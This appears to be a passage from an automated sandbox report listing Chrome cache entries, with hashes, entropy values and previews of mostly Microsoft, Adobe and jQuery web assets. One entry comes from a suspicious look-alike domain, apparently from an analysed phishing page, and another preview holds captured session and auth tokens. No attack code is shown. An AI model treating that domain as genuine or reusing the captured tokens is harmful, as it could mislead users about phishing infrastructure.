Preview:	'use strict';var experimentationAnalytics=function(){function g(a){return a&&0<a.length?!1:!0}function m(a){return Object.keys(a).map(function(b){return b+""+a[b]}).join("")}function n(a){var b=a.reduce(function(c,e){c[m(e)]=e;return c},{});return Object.keys(b).map(function(c){return b[c]})}function h(a){console.log("sendToVortex Call");a&&a.analytics&&f(a)}function k(a){return{actionType:"A",behavior:"12",content:JSON.stringify({}),pageTags:{tnta:a&&a.analytics?a.analytics.tnta:""}}}function l(a,.b){return{actionType:"A",behavior:"12",content:JSON.stringify({}),pageTags:{tnta:"",at_activity_name:a&&a.responseTokens[b]?a.responseTokens[b]["activity.name"]:"",at_exp_name:a&&a.responseTokens[b]?a.responseTokens[b]["experience.name"]:"",at_activity_id:a&&a.responseTokens[b]?a.responseTokens[b]["activity.id"]:"",at_exp_id:a&&a.responseTokens[b]?a.responseTokens[b]["experience.id"]:""}}}function f(a,b,c){b="number"===typeof b?b:25;c="number"===typeof c?c:200;var e=0;if(window.expAnalytics&

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (23178), with CRLF line terminators
Category:	downloaded
Size (bytes):	23642
Entropy (8bit):	5.765650596438847
Encrypted:	false
SSDEEP:	384:HWKTbHIEsQdsQvZxyF1Aw8B7Nv0edjuDNaFTLLb2M/zvyMEZWpV:2OH9yF1IBBdq5yF/2dW
MD5:	DDAD2F8EE084121ED2224EFE21C60EBB
SHA1:	0EA22154ECA1C847E7A95BE485BFF016F5C0408E
SHA-256:	46EACF05F46F077A7E4783DC01D3429D5686015CD8205D58C25EC4178F653280
SHA-512:	609F05609715020ECF685020FFB2519B21176C4E0ABDC2925776E0E5AAAD18B017A112E0DD33F388621513B11D1ED676C0089D7268A459E6A0D1730BD3988B93
Malicious:	false
URL:	https://fpt.microsoft.com/tags?session_id=2772790f-7f7e-4ab0-9434-67d6071c84b9
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>.. <script>var localTarget='https://fpt.microsoft.com/',target='https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&',txnId='2772790f-7f7e-4ab0-9434-67d6071c84b9',ticks='8DD19246BF11BFC',rid='b86de971-dfe7-4171-ba71-94867f798507',authKey='H3ihr9e92IdW6yd1ZgQ9S0kvtvZRuOxcpRCTIW%252fmvgxxeNwoyiUcI961VVjrPnF3n0uqP1vYLVOsejwf9X7dpOmYkLiJcazhnARKOOSHAE9KBbpxR%252bZEeFt1ZlY%252bt0nzft0I5p%252bzBf4Qe5yLAe2wXyHGQlbJZTuouSA0cLK2Lgej9ZMPaXHIhwpeRQEA7h7GhgYr20JRR5RnvdheTlYRsMs7PxJir1AMliJ%252fziKjccPGq%252fhcbWooNpGSiuVyLhBVr8VeX4X%252fr35hgtfqhO7oFRu5mx692QRv69OHEmawmXrOIQ8hyBV%252f18gOxmsSAgfz',cid='02C58649-E822-405B-B6C3-17A7509D2FCC',assessment='',waitresponse=false,bbwait=false,commonquery='',lsInfo=true,splitFonts=false,noFonts=false,UCH=true,PTO=100,rticks=1733839837696,ipv6Url='',txnKey='session_id',ridKey='id',lskey='MUID';(function(){function w(){var i=0,n;return t&&t.length&&(i=t.length),n

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	175
Entropy (8bit):	4.68043398329258
Encrypted:	false
SSDEEP:	3:agWqLs3KOBmKL8ELDSzEfYZBAeOE8c/yCN9xGV9LH1CNILWAcELDlpKOBmKL8ELQ:QqtgLSH9xGf1OILWAfkgXe
MD5:	96F0C5B1219E39B8788028F5C17A5AD9
SHA1:	D6DCE0DE065B0D13905EAEDA0BA5C0DEA3D8F67C
SHA-256:	1FC2BCE2D46DF4565B8C488B22225CFE7ADB7C37CC9A542D4F85B61995B306CB
SHA-512:	057810FA0558506C6B8ABECB1A7A58FF61DA0609B3A5798BB42DE3A9B801CA0D8B20C4C1F9A250EE33D30492452CC5C4553332B16300408AA0C45B1515D4AF10
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-cookieconsent.min.ACSHASH96f0c5b1219e39b8788028f5c17a5ad9.js
Preview:	'use strict';function AEMOnCookieConsentChangedCallback(a){}if("undefined"!=typeof WcpConsent&&null!=WcpConsent)WcpConsent.onConsentChanged(AEMOnCookieConsentChangedCallback);

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7862)
Category:	dropped
Size (bytes):	129677
Entropy (8bit):	5.330029900554168
Encrypted:	false
SSDEEP:	3072:BkDsmoyraxaOfNPN5/4OYQk9qNeUyMLBRMr:BkZX2xaw8
MD5:	10908F1C465EEADC74B1C17C9515EB8A
SHA1:	EAB69087F1E08128C3B08CE3AFB6E5980CBF058D
SHA-256:	51F1F59783B1C7C3C9F4C892F629C6A9F801ECCFC2CEA0B1D6AB5A1DC685DD03
SHA-512:	55CF4EFB3D2314CF1ECE48E9A146A40B6A884C66027FD19BDDC2BBCBCCBAAA0C07DF6AE7937DC1DD8783257B515ABF0B2CF84F2E0CDA4236FA92ED01A54FDDD1
Malicious:	false
Preview:	/******************************************************************************. Copyright 2017 Adobe. . Licensed under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License.. * You may obtain a copy of the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software. * distributed under the License is distributed on an "AS IS" BASIS,. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. * See the License for the specific language governing permissions and. * limitations under the License.. ******************************************************************************/.if (window.Element && !Element.prototype.closest) {. // eslint valid-jsdoc: "off". Element.prototype.closest =. function(s) {. "use strict";. var matches = (this.document \|\| this.ownerDocument).querySelectorAll(s);.

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	62338
Entropy (8bit):	5.133002295885071
Encrypted:	false
SSDEEP:	384:bmlnwMeJKsUBpO+0T4Urpoqk8Cv3hkfu0/eZT/kLQUws/Iq03EFHO9wZhB31:yMrpoqk8CPhEu0mfs/Iq0Utn31
MD5:	703A66887E06100377298CF9D978BC62
SHA1:	0E00E8BA603537C3EF19899D2B3FB202871B3901
SHA-256:	DD6C652DEBF0A155AA7609C2DD079CAF34A55A8488B3256D9FF36E08FD9A60AD
SHA-512:	EB2DE157EBADEE1FE6762EC9D4DD1DC4FDB67F26D09C8FC816DF167463385615B1B4A1BED45A13E12526AD4804DD39885DC983FECD8B479CF3E45436C17A4DAE
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/jquery.mobile/1.0b3/jquery.mobile-1.0b3.css
Preview:	/!. jQuery Mobile v1.0b3. * http://jquerymobile.com/. . Copyright 2010, jQuery Project. * Dual licensed under the MIT or GPL Version 2 licenses.. * http://jquery.org/license. /./.* jQuery Mobile Framework.* Copyright (c) jQuery Project.* Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt) licenses../.../ A.-----------------------------------------------------------------------------------------------------------/...ui-bar-a {..border: 1px solid ..#2A2A2A;..background: ...#111111;..color: .....#ffffff;..font-weight: bold;..text-shadow: 0 -1px 1px #000000;..background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#111)); / Saf4+, Chrome /..background-image: -webkit-linear-gradient(top, #3c3c3c, #111); / Chrome 10+, Saf5.1+ /..background-image: -moz-linear-gradient(top, #3c3c3c, #111); / FF3.6 /..background-image: -ms-linear-gradient(top, #3c3c3c, #111); / IE10 */..background-image: -o-linear-gradient(top, #3c3c3

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3135
Entropy (8bit):	7.928926134843358
Encrypted:	false
SSDEEP:	96:SS+6XNWzuaLBnTaQMV0rOhfU+gn/5e9KIju:SS++NITV3rUfwnQ9K3
MD5:	239BB3CDE1E97B39EEA355E8D08FACAE
SHA1:	C9AEC6D9F808924BF83FB1CF39C8EBB94E5B82F7
SHA-256:	39F553BF04E8F772FB77482B0069F46A1E8FFA0E509B4A319A3D4B8C65655DDE
SHA-512:	94D516F4892090D025AECD9A9F667BBB16AA897F41453241015E730482B54755996CE226DCE762817834A8E89E471844A1F64BAAC189BDEB62C329B94EC82DAF
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......pHYs.................IDATh.._.e.Y....}k.I.?g.B/l;S.`....l+5.."....b.......^.H..7.o&-....Rh....../fB....x....X5-.v&M...{}....>g&9M&..,8.}.^{..y..}....m^.G._.x...@}%.....C.g..#..m.....1..y....o..._.&;.^...])U....'.^:}.......}..{..r......F...1..=.p...%....{#BD.RD)"Jl;...K..U.?0.o...2./..qLQ.......t.9..\|._;x.J..Z..$NF.g..o....x.k.T.kN#......&.7.3...5v....Pk.V..R).Z4..^..n-.Gf`.jO1.$m......-K......F..`..W... ..#?.T.T..8.ql.x.5.....{6......It}...MI....M......H~{.. .!.jq.bX.a. ...v..n...$t..o.l...N..a..q.KcD?.-..B..KV..o..W.....Q..a.1.<...]CY.......W.z...>.b...h...({Dn..<Jn...I48...D,%/).../.q.A.../.mQi.Bn..E..w=..2p.'....$L^..F..d..%jK....aX&;..76B.".X...B..9..(d.\.....W.....O..,.P.o..7.j..>g..d.6..@...kc.:pa$....`.U.F.>..(..!ku...q.p.x..l..[V.`. ;`.hw..@{..,,..........A..."i._.....9.rQ.Z......]..?.)\|.....g...ZBo.py.zU...^.B.t..S`I..L..,.;.H=..o$..a(O~.K?q.._...+.L..G....&H...c.' 2}..+{{.....!....r.$k..A.A.S....

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13198), with no line terminators
Category:	downloaded
Size (bytes):	13198
Entropy (8bit):	4.990034583221166
Encrypted:	false
SSDEEP:	384:jwNW8CEpWUVJFXaWoJoJJJJJJJJJJJJJJJJjwJJJJJzGJJJAMXFnJJJJJJJJJJ2I:Eb
MD5:	3C06634AD675CA6FF31D412DDFAB969B
SHA1:	B78B460F3667FE51BBC7CCE0B54F8F38C16D4F33
SHA-256:	FD431CCD32B03FE28FE5615DA50C9CA4DD61A4D22DA98305A99670A090318D26
SHA-512:	B9A74E4D6C2F5B9375EE9F92984D86D320C6031E5F4828BB5774B2D848E43DB87C1C98B5612EB9025134840D6C9A646ED6706C82AB3B12A926F08BF7142614B0
Malicious:	false
URL:	https://autenticatorresolver.online/assets/global/pdf/css/conn.css
Preview:	@media screen and (max-width:600px),screen and (max-height:366px){.f1hihypw{vertical-align:top}}@media screen and (max-width:600px),screen and (max-height:366px){.f1hdxpn2{padding-top:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.fipdpho{padding-right:24px}.f1b09k7r{padding-left:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f15bspdk{padding-bottom:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1b09k7r{padding-left:24px}.fipdpho{padding-right:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1sw15gs{margin-top:0px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1myntb5{margin-bottom:28px}}@media screen and (max-width:600px),screen and (max-height:366px){.fb2nunp{width:100vw}}@media screen and (max-width:600px),screen and (max-height:366px){.f1nfk72b{min-width:auto}}@media screen and (max-width:600px),screen and (max-height:366px){.fieg86w{box-shadow:none}

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (584)
Category:	downloaded
Size (bytes):	6798
Entropy (8bit):	5.383941368080596
Encrypted:	false
SSDEEP:	192:2+ocdo4VYgB9G/0y/qhNJ5k4iflBDHndCjOGGWr:2+ocdo4B7G/0yyNSflhndCjOGGA
MD5:	1DABD5CC3F7B68C178B59EA74DC62947
SHA1:	B8DF9D8FD267B8B74325667DC97278CCC90A1464
SHA-256:	E49EFB0A75AF4995902362EA679A0FC4EB120A881A090CB8424D5CBD183436A2
SHA-512:	8C26E45CA37AC5DCCCC0C7BBCA92E0E8E11FB807A6D9A6916D5A0CC1CF198A7942DD5583C31ACBD1A11DDE004C252806D205E9CFDA7F494A6F7D5BBFA42920E4
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/universalheader/v1/universalheader/clientlibs/site.min.ACSHASH1dabd5cc3f7b68c178b59ea74dc62947.js
Preview:	'use strict';(()=>{function m(f){var e=G[f];if(void 0!==e)return e.exports;e=G[f]={exports:{}};return I[f](e,e.exports,m),e.exports}var I={1623:()=>{$(function(){function f(){-1!==document.cookie.indexOf("".concat("Cascade.AuthSSO","\x3d"))&&(document.cookie="".concat("Cascade.AuthSSO","\x3d; expires\x3dThu, 01 Jan 1970 00:00:00 UTC;"))}function e(){var a=function(){var d=document.cookie.match(/(^\|;\s)(Cascade.AuthSSO)=([^;])/);return d?(d=parseInt(decodeURIComponent(d[3])),!isNaN(d)&&d>n.DefaultAttempted?.n.SharedStateAttempted:n.DefaultAttempted):n.NotAttempted}(),c=!(!window.msauthRpsShare\|\|b.accountConstraint===w.AAD);if(a===n.NotAttempted\|\|c&&a!==n.SharedStateAttempted)!function(d){$("#".concat("cascadeauthsso")).remove();var g=document.createElement("iframe");g.src=d;g.setAttribute("width","0");g.setAttribute("height","0");g.setAttribute("border","0");g.setAttribute("frameborder","0");g.setAttribute("style","display: none");g.id="cascadeauthsso";document.body.appendChild(g)}(""

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	46061
Entropy (8bit):	5.087236516316698
Encrypted:	false
SSDEEP:	768:vHUXOdW+jVRVcFY3LZEjf/nta6AZj4s7LlYpES6oey3bzafknRN97O7:vSOfbVoY3lEjXta6Ej4s76WS68XZ97O7
MD5:	3150066D9B80CD51CB0A642603B927C7
SHA1:	FB2350E625AC248A28FB0360CFC67D6F544505ED
SHA-256:	649E303687F5F32DCBA2E2FC1C4254F598B2C09453E401805D12FC70A0928673
SHA-512:	4CEC928633AF13B85EC08E5727C52F5943E701164E8F9A90F02BE54984995ADAD10F8024130E10DCDBCA57E1196C452612280FC83412A116CDE56172C2D4FD1A
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/jquery.cycle/2.88/jquery.cycle.all.js
Preview:	/!. jQuery Cycle Plugin (with Transition Definitions). * Examples and documentation at: http://jquery.malsup.com/cycle/. * Copyright (c) 2007-2010 M. Alsup. * Version: 2.88 (08-JUN-2010). * Dual licensed under the MIT and GPL licenses.. * http://jquery.malsup.com/license.html. * Requires: jQuery v1.2.6 or later. */.;(function($) {..var ver = '2.88';..// if $.support is not defined (pre jQuery 1.3) add what I need.if ($.support == undefined) {..$.support = {...opacity: !($.browser.msie)..};.}..function debug(s) {..if ($.fn.cycle.debug)...log(s);.}...function log() {..if (window.console && window.console.log)...window.console.log('[cycle] ' + Array.prototype.join.call(arguments,' '));.};..// the options arg can be....// a number - indicates an immediate transition should occur to the given slide index.// a string - 'pause', 'resume', 'toggle', 'next', 'prev', 'stop', 'destroy' or the name of a transition effect (ie, 'fade', 'zoom', etc).// an object - properties to control the

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7862)
Category:	downloaded
Size (bytes):	129677
Entropy (8bit):	5.330029900554168
Encrypted:	false
SSDEEP:	3072:BkDsmoyraxaOfNPN5/4OYQk9qNeUyMLBRMr:BkZX2xaw8
MD5:	10908F1C465EEADC74B1C17C9515EB8A
SHA1:	EAB69087F1E08128C3B08CE3AFB6E5980CBF058D
SHA-256:	51F1F59783B1C7C3C9F4C892F629C6A9F801ECCFC2CEA0B1D6AB5A1DC685DD03
SHA-512:	55CF4EFB3D2314CF1ECE48E9A146A40B6A884C66027FD19BDDC2BBCBCCBAAA0C07DF6AE7937DC1DD8783257B515ABF0B2CF84F2E0CDA4236FA92ED01A54FDDD1
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-base.min.ACSHASH10908f1c465eeadc74b1c17c9515eb8a.js
Preview:	/******************************************************************************. Copyright 2017 Adobe. . Licensed under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License.. * You may obtain a copy of the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software. * distributed under the License is distributed on an "AS IS" BASIS,. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. * See the License for the specific language governing permissions and. * limitations under the License.. ******************************************************************************/.if (window.Element && !Element.prototype.closest) {. // eslint valid-jsdoc: "off". Element.prototype.closest =. function(s) {. "use strict";. var matches = (this.document \|\| this.ownerDocument).querySelectorAll(s);.

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	dropped
Size (bytes):	5529
Entropy (8bit):	7.95514518328613
Encrypted:	false
SSDEEP:	96:/hCpRVAqhJlGWPQXH0xeQysZT1rTr8Ps8RLTJ1ctq5/+XVGbN6obuwSuaGwEan:CRRh430/PdTrv8RtytveNjaGC
MD5:	6DEB44A9FE273266EFABC3214B998BA0
SHA1:	C8BE755694C25E416C81F5057670E3B14B2FE08F
SHA-256:	4A1AA3B8B23FB3C150A62BB681DAE96E6CAB20BFAFB89D74FED2E0BC85826BAF
SHA-512:	EBA11F91C3751574F82FBF82F81338761142ABC13B14534133A2986BEF2F2505125B648E1E991F79C1ACC731A9008F98C3F7937649533E7C4E59C2548D4E7452
Malicious:	false
Preview:	...........[}w.F...?.b.(..c.i....8zI..k..f...$F.1.. ........$!..=.13w..s./>.w........u{g.=...u.....>h./{.F..xhS..7.6....9p...(.D..a..Q.\hS.L\|7.FI4.....$....._.X4.At..@.x...s.seZ.....!V..x..'..F.?..z.[..Ppm.z<..'.p.]..$..(..>...6.3..o.47..6..t...AfX..F.($8...= ...'..GDb<.iM..s.D....N..F.<.e.......M....t ...Sk.'wDb.h...M2K...... ..6N.X.o..s...S.....r.`......1..4.c...J....V....ED.7.........p......&i....p....F.C/...W...-.....\|..E...W.v5.....M]?...*s.........~....!........R.....~.A... v....C.S1.X\|.lZ.LL...._.f....h.f.ep.2a>..,G..,...d..G&....dn.....j$..uB.z...Y..x2.......rI. ...?...w<.y.b.vF..h...b..l......\....cq.S.u......'&...E..s.d..-).I.M]..0.;.....;~6K'....$.G....;.8..<_.;.O.]...;.}..[.cWDJ6z..l..H..'8~..6vj5........Q...I..X.Ww..vB.....{v..$...].......d..kAO#.G...0(.....Y..G.6k.%z.S..6....Qw...`H....)1.5.......M...}C..z...2...d.;5..(.!.....}.Y.!..0..n.a.`..'D..@../.N.\|w.OcH.];Z...k.....1g.4.f..t.'...........8i..<!...6M...p...

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59832)
Category:	dropped
Size (bytes):	99505
Entropy (8bit):	5.20600737523251
Encrypted:	false
SSDEEP:	1536:ixTfTfE8PWCgGDbn5lHij6D4/55p2/y+XlkpttBJjm:ixTfTfE8uCPIJkSm
MD5:	895E2A12062F1EE44D7D72D266904BDE
SHA1:	896B8B40961C524472FB84C4760160267A3B89A6
SHA-256:	D2AEA4BA12C00A853C03EB8EA9575338D1A21D15314B39B9A7AA039016E6FC93
SHA-512:	5673B54ECFF13BB7263EA98A554B8DEB04C5C2151B164F0A3A1411D9BB624C0395147D618C7C3381F263EAF5EECAA0E7EDC479DB9ABDC1A611110C2DC4610D2A
Malicious:	false
Preview:	// *************************************.// config file for at.js lib.//************************************************************************.// SET TARGET PROPERTY HERE:.const at_property = window.cas.exp.target.propertyToken; // Workspace Name.// *************************************************************************.! function () {. window.tt_getCookie = function (t) {. var e = RegExp(t + "[^;]+").exec(document.cookie);. return decodeURIComponent(e ? e.toString().replace(/^[^=]+./, "") : ""). }. var t = tt_getCookie("MC1"),. e = tt_getCookie("MSFPC");. function o(t) {. return t.split("=")[1].slice(0, 32). }. var n = "";. if ("" != t) n = o(t);. else if ("" != e) n = o(e);. if (n.length > 0) var r = n;. if (n.length > 0 && at_property != "") {. window.targetPageParams = function () {. return {. "mbox3rdPartyId": r,. "at_property": at_property,. ...(win

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (442)
Category:	downloaded
Size (bytes):	4206
Entropy (8bit):	5.149477471473544
Encrypted:	false
SSDEEP:	96:bV8irqJfqdqD7c1QkE5vYLXWOXblopFB5nj6Fcw:huYvE1YCOWrB6D
MD5:	7E4C571D7EEBB658AE1F491FB0F54362
SHA1:	934C3B0A597A0559EB7B8470C066F68CD916210A
SHA-256:	3295588A9D0267946056C879C46878AA357C4EE45AA2459F3D278905062B9655
SHA-512:	5C067C563B7C00D2081691F28EA33DFA7BF7A3B48E6F1239B58261C0B5BD8E3917CA881E3E68717D93D521F140C4F5CE24322A23ED236FCA3B2F6BB4F9194BF4
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/clientlibs/clientlib-site.min.ACSHASH7e4c571d7eebb658ae1f491fb0f54362.css
Preview:	.MLSD .border-radius-8px{border-radius:8px}..MLSD .border-radius-4px{border-radius:4px}..MLSD .border-radius-img img{border-radius:8px}..MLSD .mlsd-articles-2col-r.col-md-4 .content-card .row.row-cols-1.row-cols-md-2 .col{flex:0 0 100%;max-width:100%;padding-bottom:3rem}..MLSD .cards-without-image .card-group>.card{padding:7rem 2em}..MLSD .container .sticky-tabs .container{width:100%;padding:0}..MLSD .col-md-8 .richtext ol li,.MLSD .col-md-8 .richtext ul li{padding-bottom:10px}.#uhf-footer.c-uhff{margin-top:0}..MLSD .mlsd-compare-chart .compare-chart{overflow-x:hidden !important}..font-w-normal{font-weight:normal !important}..font-w-600{font-weight:600 !important}..font-w-900{font-weight:900 !important}..color-light-for-mobile .card-body,.color-light-for-mobile .card-body a{color:#fff !important}..color-dark-for-mobile .card-body,.color-dark-for-mobile .card-body a{color:#000 !important}..color-grey-for-mobile .card-body,.color-grey-for-mobile .card-body a{color:#808080 !important}.@me

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (367), with no line terminators
Category:	downloaded
Size (bytes):	367
Entropy (8bit):	4.9898089353102595
Encrypted:	false
SSDEEP:	6:Q3RnadmyWRLnadIrM9nadYErmC+LGI1nadmWYElnH0IASS3c7swWJ/cxGPvZ/c8e:cYdIRGdIg8dlHEGIUd4Eh0IA1cbWNb9u
MD5:	F81E446FAC9DB5FB37845DD4E069AE27
SHA1:	DE12C417D44EC6A6AC52D5D41BBB35CE8C9A2097
SHA-256:	CD4B2B854F0E1BF350B4E61D015794D0F33A0B187A0C78912085E4DB1CD65F0B
SHA-512:	E13DDEDB6117E516E4278E4F1B6AA80DD62EAF8966E64F5D45D452D85FE2AAD990D770101934BC12AA37B4CDF8D3B3B86DDBD116B53E7C1AE1BFD73AA9C18584
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/back-to-top-button/v1/back-to-top-button/clientlibs/sites.min.ACSHASHf81e446fac9db5fb37845dd4e069ae27.js
Preview:	'use strict';$(function(){var a=document.querySelector("#msChatContainer"),b=document.querySelector(".back-to-top.sticky"),c=document.querySelector(".fixed-back-to-top.fixed-sticky"),d=!(!document.querySelector("#storeassistantroot")\|\|!window.storeAssistantReactJsLib);a&&b&&!d&&$(b).addClass("pageHasChatContainer");a&&c&&!d&&$(c).addClass("pageHasChatContainer")});

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://www.microsoft.com/favicon.ico?v2
